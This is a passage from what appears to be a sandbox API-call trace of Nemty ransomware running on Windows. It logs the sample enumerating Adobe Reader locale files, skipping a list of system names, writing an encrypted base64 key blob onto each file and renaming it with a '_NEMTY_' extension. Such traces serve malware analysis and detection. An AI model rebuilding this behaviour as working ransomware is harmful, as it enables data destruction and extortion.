SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0184.082] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.082] CloseHandle (hObject=0x2e8) returned 1 [0184.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.082] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\ReadOutLoud.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\readoutloud.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\ReadOutLoud.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\readoutloud.slv._nemty_kgobjgd_")) returned 1 [0184.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.083] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Reflow.SLV", cAlternateFileName="")) returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2=".") returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="..") returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="...") returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="windows") returned -1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="$RECYCLE.BIN") returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="rsa") returned -1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="NTDETECT.COM") returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="ntldr") returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="MSDOS.SYS") returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="IO.SYS") returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="boot.ini") returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="boot.ini") returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="ntuser.dat") returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="desktop.ini") returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="CONFIG.SYS") returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="RECYCLER") returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="BOOTSECT.BAK") returned 1 [0184.083] lstrcmpiW (lpString1="Reflow.SLV", lpString2="bootmgr") returned 1 [0184.084] lstrcmpiW (lpString1="Reflow.SLV", lpString2="programdata") returned 1 [0184.084] lstrcmpiW (lpString1="Reflow.SLV", lpString2="appdata") returned 1 [0184.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.SLV", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.SLV", lpUsedDefaultChar=0x0) returned 10 [0184.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.SLV", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.SLV", lpUsedDefaultChar=0x0) returned 10 [0184.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.SLV", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.SLV", lpUsedDefaultChar=0x0) returned 10 [0184.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.SLV", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.SLV", lpUsedDefaultChar=0x0) returned 10 [0184.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.084] Sleep (dwMilliseconds=0x5) [0184.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21600710, dwHighDateTime=0x1d561e8)) [0184.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21600710, dwHighDateTime=0x1d561e8)) [0184.093] GetLastError () returned 0x0 [0184.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.094] GetLastError () returned 0x0 [0184.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.094] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.094] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.094] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0184.094] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="7nysrDYzmFDSSJ9u9rPjLCAXd++iLGbpCPPYNK56zAe05Ek/zbic7sacx24+eq/B\r\nIIaFJ9nxp4YFFN0BKnLqUhUVZBxiHXUoT2zb1PI1Xbd7DeIWrYscmLlPz/CmFo5r\r\nHCXORb3s39xT+CSpcqW606L6Peh/dy7WRXQmrX6C9qjvy5mDwx54ogMt2RtIF0FQ\r\nX/Sx7Xoc2sjPuR223o793iIcrmntoRlMuHT+HkEdftWTGZRwW8SEPdzO+DwJwdel\r\nTQ/8B+1txEvHl5fH0EjuCGZttBMjLSO1GizIb3U/eFVZjD5bvGHQU6KvpNDhveo/\r\nL4q7mKY8bnp/Y1ndnhj8lQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0184.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.094] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Reflow.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\reflow.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.095] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0184.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0184.095] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.095] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0184.097] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.097] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0184.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.097] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0184.097] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.097] CloseHandle (hObject=0x2e8) returned 1 [0184.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0184.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.097] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Reflow.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\reflow.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Reflow.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\reflow.slv._nemty_kgobjgd_")) returned 1 [0184.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0184.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.098] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.SLV", cAlternateFileName="SAVEAS~1.SLV")) returned 1 [0184.098] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2=".") returned 1 [0184.098] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="..") returned 1 [0184.098] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="...") returned 1 [0184.098] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="windows") returned -1 [0184.098] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="$RECYCLE.BIN") returned 1 [0184.098] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="rsa") returned 1 [0184.098] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="NTDETECT.COM") returned 1 [0184.098] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="ntldr") returned 1 [0184.098] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="MSDOS.SYS") returned 1 [0184.098] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="IO.SYS") returned 1 [0184.098] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="boot.ini") returned 1 [0184.098] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="boot.ini") returned 1 [0184.098] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0184.099] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="ntuser.dat") returned 1 [0184.099] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="desktop.ini") returned 1 [0184.099] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="CONFIG.SYS") returned 1 [0184.099] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="RECYCLER") returned 1 [0184.099] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="BOOTSECT.BAK") returned 1 [0184.099] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="bootmgr") returned 1 [0184.099] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="programdata") returned 1 [0184.099] lstrcmpiW (lpString1="SaveAsRTF.SLV", lpString2="appdata") returned 1 [0184.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SLV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SLV", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SLV", lpUsedDefaultChar=0x0) returned 13 [0184.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SLV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SLV", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SLV", lpUsedDefaultChar=0x0) returned 13 [0184.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SLV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SLV", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SLV", lpUsedDefaultChar=0x0) returned 13 [0184.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SLV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SLV", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SLV", lpUsedDefaultChar=0x0) returned 13 [0184.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.099] Sleep (dwMilliseconds=0x5) [0184.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21626870, dwHighDateTime=0x1d561e8)) [0184.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21626870, dwHighDateTime=0x1d561e8)) [0184.109] GetLastError () returned 0x0 [0184.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.109] GetLastError () returned 0x0 [0184.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.109] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.109] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.109] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.110] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="mp67GToshQjer7Wz/n+k7xdMUGd1kV2gEmfaFlj/rYfCIP0AWoIRKZyNSNRVIc1m\r\n0qtpghBlkxwFHG5OEJARSV5L+CxZlTHwpsCahrcN0fkBEApfDGSiYf7UC4ZWhoZy\r\nF30ZagkkBE0I1CY/J2pfaVUTdlQH5VKLWYLreCFgu3pJ661ZImONdvIDcqfzBQyP\r\nJZQb/1+cz2tJ4rDKmGdq7H5KqKIUSFQLmGHZu3S0gcQA61ssdf5rSLD1wf44vlKt\r\nYkQfjWuea0znzc3OQ1tKf/+g5BixGqtUBlH2bzEakPEt+zeXEHZlcHFjjbsKHF4J\r\nFSnE/uXYZ9qgFTt2txeOsw==\r\n", pcchString=0x653e5dc) returned 1 [0184.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.110] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\SaveAsRTF.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\saveasrtf.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.110] 